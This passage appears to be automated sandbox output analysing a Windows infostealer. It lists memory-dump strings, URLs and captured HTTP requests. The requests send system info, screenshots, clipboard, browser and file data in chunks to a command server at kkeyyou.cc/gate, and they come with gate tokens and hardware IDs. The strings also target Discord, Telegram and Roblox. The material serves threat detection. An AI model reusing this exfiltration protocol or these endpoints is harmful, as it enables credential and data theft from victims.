"wsastartup"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "wsastartup"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "hrr ech accept confirmation" (Indicator: " accept "; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "ech accept confirmation" (Indicator: " accept "; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "SSL cannot send a CertificateRequest because the client doesn't support post-handshake authentication." (Indicator: " send "; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "SSL attempted to send a record that exceeded the maximum permissible length." (Indicator: " send "; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "Attempt to write encrypted data to underlying socket failed." (Indicator: " socket "; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "_PR_MD_TCPSENDTO error bind failed %d" (Indicator: " bind "; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_GetHostByName" (Indicator: "gethostbyname"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")51:T1c9f,Heuristic match: "*abi.name" Heuristic match: "*godebugs.info" Heuristic match: "internal/abi.name.name" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.(*polldesc).info" Heuristic match: "runtime.srcfunc.name" Pattern match: "-36116321-11.mozilla.org/e_gidga1.2.567858295.1706126951.mozilla.org/e_gaga1.2.177574538.1706126951.mozilla.org/is_ga_mq7767qqqwgs1.1.1706126950.1.1.1706126950.0.0.0.mozilla.org/is_gat_ua-36116321-1.mozilla.org/_ga_mq7767qqqw.mozilla.org/_gid.mozilla.org/_" Pattern match: "search.yahoo.com/favicon.icohttps://search.yahoo.com/search{google:pathwildcard}?ei={inputencoding}&fr=crmas_sfp&p={searchterms}utf-8https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command={searchterms}485bf7d3-0215-45af-87dc-53886800000" Pattern match: "www.microsoft.com/https://www.microsoft.com/en-us/edge/download?form=ma14af&cs=1619243539https://www.microsoft.com/en-us/edge/?ep=1731&form=ma14af&es=280application/x-msdownloadapplication/octet-stream3g==494e28db-0a7b-4b0a-a330-229d9992688ac:\users\hapubw" Pattern match: "www.google.com/search?q=mitmproxy&oq=mitmproxy&gs_lcrp=egzjahjvbwuybggaeeuyotihcaeqabiabdihcaiqabiabdihcamqabiabdihcaqqabiabdihcauqabiabdihcayqabiabdihcacqabiabdihcagqabiabdihcakqabiabnibcde1mjvqmgo3qaiasaia&sourceid=chrome&ie=utf-8&sei=muoqautbc-di0pep6er" Pattern match: "www.bing.com/sa/simg/bing_p_rr_teal_min.icohttps://www.bing.com/search?q={searchterms}utf-8https://www.bing.com/osjson.aspx?query={searchterms}&language={language}485bf7d3-0215-45af-87dc-538868000003[]https://www.bing.com/images/detail/search?iss=sbiupload" Pattern match: "www.bing.commuidbv20:x&@" Pattern match: "www.google.com_grecaptcha/recaptcha.google.comsnid/verify.google.comsearch_samesite/.google.comnid/.google.comgoogle_abuse_exemption/www.google.comdv/.google.comaec/" Heuristic match: "kkeyyou.cc" Heuristic match: "ip-api.com" Heuristic match: "get /json/?fields=query,countrycode,city,isp http/1.1connection: keep-aliveuser-agent: mozilla/5.0host: ip-api.com" Heuristic match: "runtime.(*func).name" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.uint64" Heuristic match: "type:.eq.internal/godebugs.info" Heuristic match: "errors.is" Heuristic match: "sync.(*once).do" Pattern match: "eq.sync/atomic.pointer[interface" Heuristic match: "reflect.flag.ro" Heuristic match: "reflect.value.int" Heuristic match: "syscall.errno.is" Heuristic match: "syscall.(*errno).is" Pattern match: "eq.io/fs.patherror" Heuristic match: "internal/godebug.(*setting).name" Pattern match: "eq.sync/atomic.pointer[internal/godebug.value" Pattern match: "https://kkeyyou.cc/gate" Heuristic match: "software\roblox\robloxstudiobrowser\roblox.com" Heuristic match: "software\roblox\robloxplayerbrowser\roblox.com" Heuristic match: "discord.com" Heuristic match: "discordapp.com" Heuristic match: "canary.discord.com" Heuristic match: "ptb.discord.com" Heuristic match: "web.telegram.org" Heuristic match: "webk.telegram.org" Heuristic match: "webz.telegram.org" Heuristic match: "keyyou.cc" Pattern match: "http://ip-api.com/" Pattern match: "https://kkeyyou.cc/gate/handshake" Heuristic match: "chakkeyyou.cc" Heuristic match: "00000000kkeyyou.cc" Pattern match: "https://kkeyyou.cc/gate/chunk" Pattern match: "ww.instagram.com/justinbieber" Pattern match: "kkeyyou.cc/gate/chunk" Pattern match: "agram.com/justinbieber" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=xbf85%2bi8y0uticzqokek9qqnglk2klcfcybr7ly1skc5jsm8mhwn6xfyttff35fflxqn4btls%2f0kdijcdsswb8lk9sbs90kgwyteo%2fokwgngua7ubhfh9hxgi0pb" Heuristic match: "host: kkeyyou.cc" Heuristic match: "*.kkeyyou.cc" Pattern match: "ye2.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1!0" Heuristic match: "om/vslogo.gi" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "www.digicert.com1" Heuristic match: "vices.cr" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Heuristic match: "^{^ckkeyyou.cc" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=bm0xnu1hmlvuos0dwvm2kl2kboyqbiupkhw8qur4bydveegwr9gfblwcyv91fepib2uo3wggngyh1idytdvrzk7t7nkrjwm0en98lifcttjotoq0wnwziwsagbbp" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=qkyo6ma6zgkr2veu1w8e22q9blegjbcsesvdabsujltqo3i%2bsx9jelusoet3n2wj%2fymm453sucsbi4kzifkndsvcqg6wi05kfibyy%2fidatfmvvekioebyyscw4hv" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=sdspqre9g3xrxhqdhml2qgho9gtal1f0i4hwbmbom7s1tlvjtnirvidelpt1669l2o%2bglwqacn2ubnohnjqlaiwgacz9na8bqqazjvuvifckibgqnstfcpb%2f6snz" Heuristic match: "keket t xxx.......re" Heuristic match: "cketcket xxx.......re" Heuristic match: "bubucket et xxx.......re" Heuristic match: "bubuckcketet xxx.......re" Heuristic match: "avmvirtualsource.ax" Heuristic match: "vwcsource.ax" Heuristic match: "ycwebcamerasource.ax" Pattern match: "http://www.mozilla.com/en-us/blocklist/" Heuristic match: "igca@sgdn.pm.gouv.fr" Pattern match: "https://kkeyyou.cc/" Pattern match: "https://kkeyyou.cc/gate/complete" Pattern match: "yyou.cc/gate/complete" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=aa3i3shrzb0symukuhb2uxhkj1uttwola6ma61v9y%2flwy5tyymbiangpxafr8owmawlhbty435oe%2bvxj1dfthzhywgd29jem7v%2f3ch9oo%2bcybwzyxvsom%2baeitr5" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=rof6ukaolkby%2bkvnh27e%2fwgk5rytctqlezl5ksusu7kwnf5sblhvg20ksttd1rt%2bvs1bn%2fr5bgfwhk7eb2uuxmz0d9uuk84gewhooz%2f9ifmy8woc3hkaf64pu3lv" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=jqg%2bmajz5%2bn%2fee9dgofebkx6jtkmvnygp5el4e%2bquwdkrw6scevppmk5rwdatqu6ujfhx84avm2tjal%2fydmmyyeii9jhsmxaoko2iaj5di2ctvge05vf187dallz" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=afusotq8fb%2bnscvn8uuc4rkp4tvtk4b6yk9%2fivjouarp9i8ypyw3ruifpcpzsv%2bq8ow54q8n75v%2bostvws0qxyqsqbnednxgcom%2fedtqml5vvvb4hos%2fmocfkvir" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=y6dtotyjpas96x57x7eajkgkawpiajuzpdd2yxrhesoarsioipo1fcwrbmgxy%2fi%2bennsuag1jcf7ccobdraroufrbf4ixtn3bdsodoznxx%2bivj7338p6vs%2bbrgsi"52:T322a,Found URL "https://h;:u3h;/u'h" - Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp") Found URL "http://getaddrinfofreeaddrinfo%08xaokigahara%s/handshakex-build-id:" - Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp") Found URL "http://ip-api.com/ip-api.commicrosoft" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "https://kkeyyou.cc/gate/handshakeip-api.comip-api.comkkeyyou.ccszoid_root_program_no_ocsp_failover_to_crlnistp384ecdhcryptoidinfoeccparametersnistp521ecdsacryptoidinfoeccparameterssecp160k1ecdhcryptoidinfoeccparameterssecp160r2ecdsacryptoidinfoeccparametersnistp256ecdhcryptoidinfoeccparametersnistp224ecdsacryptoidinfoeccparameterssecp160r1ecdhcryptoidinfoeccparametersszoid_root_program_auto_update_ca_revocationnistp384ecdsacryptoidinfoeccparameterssecp192k1ecdsacryptoidinfoeccparameterssecp192k1ecdhcryptoidinfoeccparametersszoid_root_program_auto_update_end_revocationsecp224r1ecdhcryptoidinfoeccparameterssecp256k1ecdsacryptoidinfoeccparameterssecp160k1ecdsacryptoidinfoeccparameterssecp224k1ecdhcryptoidinfoeccparameterssecp224k1ecdsacryptoidinfoeccparameterssecp160r2ecdhcryptoidinfoeccparameterssecp160r1ecdsacryptoidinfoeccparameterssecp224r1ecdsacryptoidinfoeccparametersnistp192ecdhcryptoidinfoeccparametersnistp224ecdhcryptoidinfoeccparametersnistp521ecdhcryptoidinfoeccparameters98,6332,108,,getwindowtexta,user32.dll," - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "https://kkeyyou.cc/gate/chunkhttps://kkeyyou.cc/gate/chunkisallowedcert_os_1n-usoftware\microsoft\enterprisecertificates\trust\physicalstoresicrosoft" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "https://kkeyyou.cc/gate/handshakeust'ust'0yst'sst'" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xbf85%2bi8y0uticzqokek9qqnglk2klcfcybr7ly1skc5jsm8mhwn6xfyttff35fflxqn4btls%2f0kdijcdsswb8lk9sbs90kgwyteo%2fokwgngua7ubhfh9hxgi0pb" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://ye2.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl0,+ximnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l+6" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=bm0xnu1hmlvuos0dwvm2kl2kboyqbiupkhw8qur4bydveegwr9gfblwcyv91fepib2uo3wggngyh1idytdvrzk7t7nkrjwm0en98lifcttjotoq0wnwziwsagbbp" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=qkyo6ma6zgkr2veu1w8e22q9blegjbcsesvdabsujltqo3i%2bsx9jelusoet3n2wj%2fymm453sucsbi4kzifkndsvcqg6wi05kfibyy%2fidatfmvvekioebyyscw4hv" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=sdspqre9g3xrxhqdhml2qgho9gtal1f0i4hwbmbom7s1tlvjtnirvidelpt1669l2o%2bglwqacn2ubnohnjqlaiwgacz9na8bqqazjvuvifckibgqnstfcpb%2f6snz" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!ruuuyksmb]t'j8xnruuuyksmd]t'bj*+" - Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found URL "https://h;:u3h;/u'h" - Source: "00000000-00001176.00000001.167729.00400000.00000004.mdmp") Found URL "http://getaddrinfofreeaddrinfo%08xaokigahara%s/handshakex-build-id:" - Source: "00000000-00001176.00000001.167729.00400000.00000004.mdmp") Found URL "https://h;:u3h;/u'h" - Source: "00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found URL "http://getaddrinfofreeaddrinfo%08xaokigahara%s/handshakex-build-id:" - Source: "00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found URL "http://www.mozilla.com/en-us/blocklist/compile-time" - Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found URL "http://ip-api.com/ip-api.commicrosoft" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://kkeyyou.cc/kkeyyou.ccmicrosoft" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://kkeyyou.cc/gate/completeip-api.comirectory" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://kkeyyou.cc/gate/chunkhttps://kkeyyou.cc/gate/chunkhttps://kkeyyou.cc/gate/chunkhttps://kkeyyou.cc/gate/chunkisallowedcert_os_1n-us??\c:\users\vxq8xvw\appdata\local\opera" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://kkeyyou.cc/gate/handshakeust'ust'0yst'sst'" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=aa3i3shrzb0symukuhb2uxhkj1uttwola6ma61v9y%2flwy5tyymbiangpxafr8owmawlhbty435oe%2bvxj1dfthzhywgd29jem7v%2f3ch9oo%2bcybwzyxvsom%2baeitr5" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=rof6ukaolkby%2bkvnh27e%2fwgk5rytctqlezl5ksusu7kwnf5sblhvg20ksttd1rt%2bvs1bn%2fr5bgfwhk7eb2uuxmz0d9uuk84gewhooz%2f9ifmy8woc3hkaf64pu3lv" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=jqg%2bmajz5%2bn%2fee9dgofebkx6jtkmvnygp5el4e%2bquwdkrw6scevppmk5rwdatqu6ujfhx84avm2tjal%2fydmmyyeii9jhsmxaoko2iaj5di2ctvge05vf187dallz" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=afusotq8fb%2bnscvn8uuc4rkp4tvtk4b6yk9%2fivjouarp9i8ypyw3ruifpcpzsv%2bq8ow54q8n75v%2bostvws0qxyqsqbnednxgcom%2fedtqml5vvvb4hos%2fmocfkvir" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=y6dtotyjpas96x57x7eajkgkawpiajuzpdd2yxrhesoarsioipo1fcwrbmgxy%2fi%2bennsuag1jcf7ccobdraroufrbf4ixtn3bdsodoznxx%2bivj7338p6vs%2bbrgsi" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "http://ye2.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl0,+ximnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l+6" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp")53:T2c19,Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base62 string in header "b560ba735de559bca77ea00fb132021Co" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base62 string in header "b560ba735de559bca77ea00fb132021Co" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base62 string in header "b560ba735de559bca77ea00fb132021Co" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base62 string in header "b560ba735de559bca77ea00fb132021Co" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base62 string in header "b560ba735de559bca77ea00fb132021Co" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base62 string in header "b560ba735de559bca77ea00fb132021Co" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 